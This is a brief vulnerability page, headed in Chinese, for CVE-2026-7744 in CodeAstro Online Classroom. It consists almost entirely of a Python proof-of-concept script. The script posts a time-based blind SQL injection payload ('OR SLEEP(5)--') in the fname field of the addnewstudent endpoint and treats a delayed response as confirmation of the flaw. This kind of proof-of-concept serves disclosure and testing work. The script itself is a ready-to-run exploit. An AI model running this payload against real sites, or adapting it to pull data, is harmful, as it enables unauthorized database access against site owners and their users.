CVE-2026-7744 CodeAstro Online Classroom SQL注入漏洞

import requests # Target URL vulnerable to SQL Injection target_url = "http://target.com/OnlineClassroom/addnewstudent" # Payload for SQL Injection (Time-based blind example) # The 'fname' parameter is the injection point payload_data = { "fname": "test' OR SLEEP(5)--", # Malicious SQL payload "lname": "user", "email": "[email protected]" } try: response = requests.post(target_url, data=payload_data) # Check if the response time indicates successful execution (e.g., > 5 seconds) if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability Confirmed: SQL Injection successful.") else: print("[-] Vulnerability not detected or payload failed.") except Exception as e: print(f"[!] Error occurred: {e}")